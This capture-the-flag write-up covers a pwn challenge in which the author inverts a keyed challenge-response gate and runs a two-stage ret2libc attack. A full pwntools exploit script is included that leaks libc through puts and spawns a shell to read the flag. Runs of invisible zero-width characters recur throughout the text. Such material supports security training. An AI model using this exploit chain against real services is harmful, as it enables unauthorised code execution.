← Back to Writeups
CUSTOMMediumpwn

Gate

XESXOR9/2/20265 min read
#pwn#custom#medium#challenge_response_inversion#got_leak#ret2libc#stack_alignment#linux

Gate

Platform: cyberareactf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-07-15 | Status: Solved Techniques: challenge_response_inversion, got_leak, ret2libc, stack_alignment

Summary

Task: An amd64 service gates a post-authentication stack overflow behind a keyed 8-byte response and includes fake flags. Solution: Invert the gate, leak puts through its GOT entry, derive libc, and call system('/bin/sh') to read flag.txt.

Gate — cyberareactf

Description

gatesvc — небольшой сетевой сервис. При каждом подключении он выдаёт случайный nonce и требует правильный 8-байтовый ответ на challenge-response с ключом. Сервис был доступен по адресу 2.26.61.71:41001; архив содержал gatesvc, загрузчик и libc.

The objective was to invert the authentication challenge, exploit the post-authentication stack overwrite, and read the runtime flag.txt. The intended exploitation path is a two-stage ret2libc attack ending in system("/bin/sh"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Analysis

Binary reconnaissance and decoys

gatesvc is an amd64 ELF with no PIE, NX enabled, no stack canary, and Partial RELRO. The relevant fixed addresses are:

text
ret              = 0x40123f
pop rdi; ret     = 0x40123a
puts@plt         = 0x4010d0
puts@got         = 0x404008
vuln             = 0x401278
saved RIP offset = 0x48

The binary also exports get_flag at 0x401240 and contains numerous CYBERAREA{...} strings. These are deliberate decoys. Returning to get_flag prints:

text
CYBERAREA{r3t2win_backd00r_no_l34k_no_ret2libc_needed}

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

That value is fake and does not solve the challenge. The real flag is absent from the ELF and is stored at runtime in flag.txt; therefore, a candidate embedded string must not be trusted merely because a conveniently named function prints it.

Inverting the gate

For every connection, main prints a fresh 64-bit nonce and reads exactly eight raw response bytes. It checks the following expression modulo 2^64:

text
(((ROL64(((K1 + response) XOR nonce) * K2), 17) XOR K3) + K4)
    == 0xf1b9e822d85d9966

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

The constants are:

text
K1     = 0xd5d745fe48b25789
K2     = 0x9a4e22b0cf8f680d
K3     = 0x47a54febcc2a85a2
K4     = 0xb438383aa87a9ff3
target = 0xf1b9e822d85d9966

All operations are reversible. Starting from the target, subtract K4, XOR K3, rotate right by 17, multiply by the modular inverse of odd K2 modulo 2^64, XOR the nonce, and subtract K1. The resulting response must be sent as a raw little-endian qword with p64(response) rather than as hexadecimal text.

Post-authentication RIP control

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

After the response passes, main calls vuln. This function reads up to 0x200 attacker-controlled bytes at rsp and then performs the equivalent of:

c
memcpy(rsp + 0x200, rsp, n);

The saved return address lies at rsp + 0x248, which is 0x48 bytes after the copy destination. Thus, padding of 0x48 bytes reaches saved RIP.

Stage 1: leak libc and re-enter vuln

The first ROP chain calls puts(puts@got). Since the GOT entry contains the resolved runtime address of libc puts, subtracting the supplied libc's puts offset yields the libc base. The chain then returns to vuln for a second overflow: ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

text
padding(0x48)
ret
pop rdi; ret
puts@got
puts@plt
ret
vuln

In concrete terms:

python
stage1 = flat(
    b"A" * 0x48,
    0x40123f,
    0x40123a, 0x404008,
    0x4010d0,
    0x40123f,
    0x401278,
)

The alignment ret entries make calls and re-entry robust under the amd64 SysV ABI. The supplied libc has puts at offset 0x87be0, so:

text
libc_base = leaked_puts - 0x87be0

Because puts terminates output with newline and the script uses recvline(), an ASLR address containing byte 0x0a can rarely truncate the leak. If the derived base is not page-aligned or the leak is unexpectedly short, reconnect for a new randomized address. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Stage 2: system("/bin/sh")

The supplied libc offsets are:

text
puts     = 0x087be0
system   = 0x058750
/bin/sh  = 0x1cb42f
exit     = 0x047ba0

After calculating the base, the second chain calls system("/bin/sh") and places exit as its return address:

text
padding(0x48)
ret
pop rdi; ret
libc_base + 0x1cb42f
libc_base + 0x58750
libc_base + 0x47ba0

The service's socket remains standard input, output, and error for the shell. There is no need to wait for a prompt: sending cat flag.txt; exit reads the real runtime flag and terminates cleanly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Solution

The following is the complete remotely verified pwn2/exploit_ret2libc.py:

python
#!/usr/bin/env python3
"""Invert the gate, leak libc, then execute system("/bin/sh")."""
import os
import re

from pwn import *


context.binary = elf = ELF("./gatesvc", checksec=False)
libc = ELF("./libc.so.6", checksec=False)
context.arch = "amd64"

HOST, PORT = "2.26.61.71", 41001
MASK = (1 << 64) - 1
K1, K2 = 0xD5D745FE48B25789, 0x9A4E22B0CF8F680D
K3, K4 = 0x47A54FEBCC2A85A2, 0xB438383AA87A9FF3
TARGET = 0xF1B9E822D85D9966
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

OFFSET = 0x48
RET = 0x40123F
POP_RDI = 0x40123A


def response_for(nonce):
    value = ((TARGET - K4) & MASK) ^ K3
    value = ((value >> 17) | (value << 47)) & MASK
    value = value * pow(K2, -1, 1 << 64) & MASK
    return ((value ^ nonce) - K1) & MASK


def start():
    if args.REMOTE:
        return remote(HOST, PORT)
    work = os.path.abspath(".")
    return process([
        "docker", "run", "--rm", "-i", "--platform", "linux/amd64",
        "-v", f"{work}:/work", "-w", "/work", "ubuntu:24.04",
        "./ld-linux-x86-64.so.2", "--library-path", ".", "./gatesvc",
    ])
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


io = start()

# Pass the 8-byte arithmetic gate.
banner = io.recvuntil(b"response> ")
nonce = int(re.search(rb"nonce: 0x([0-9a-fA-F]{16})", banner).group(1), 16)
io.send(p64(response_for(nonce)))
assert b"challenge ok" in io.recvline(timeout=3)

# Stage 1: leak puts from the GOT, then return to vuln for another overflow.
stage1 = flat(
    b"A" * OFFSET,
    RET,
    POP_RDI, elf.got.puts,
    elf.plt.puts,
    RET,
    elf.symbols.vuln,
)
io.send(stage1)

puts_addr = u64(io.recvline(timeout=5).rstrip(b"\n").ljust(8, b"\0"))
libc.address = puts_addr - libc.symbols.puts
assert libc.address & 0xFFF == 0
log.success(f"puts = {puts_addr:#x}")
log.success(f"libc = {libc.address:#x}")
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

# Stage 2: system("/bin/sh"). The socket is still stdin/stdout/stderr for sh.
bin_sh = next(libc.search(b"/bin/sh\0"))
stage2 = flat(
    b"B" * OFFSET,
    RET,
    POP_RDI, bin_sh,
    libc.symbols.system,
    libc.symbols.exit,
)
io.send(stage2)

# Avoid waiting for a shell prompt: non-interactive sh accepts commands directly.
io.sendline(b"cat flag.txt; exit")
output = io.recvall(timeout=8)
print(output.decode(errors="replace"), end="")

flags = re.findall(rb"CYBERAREA\{[^}\r\n]+\}", output)
if not flags:
    raise RuntimeError(f"shell returned no flag: {output!r}")
log.success(f"flag: {flags[-1].decode()}")

‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Run it from the directory containing gatesvc, libc.so.6, and the supplied loader:

bash
python3 exploit_ret2libc.py REMOTE

Remote Proof

The verified remote run leaked these exact addresses:

text
puts = 0x7efdfc704be0
libc = 0x7efdfc67d000

The subtraction is consistent with the supplied offset:

text
0x7efdfc704be0 - 0x87be0 = 0x7efdfc67d000

The second chain spawned the socket-backed shell, and cat flag.txt; exit returned:

text
CYBERAREA{REDACTED}

Unlike the value printed by the embedded fake get_flag, this flag was read from the remote runtime file. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍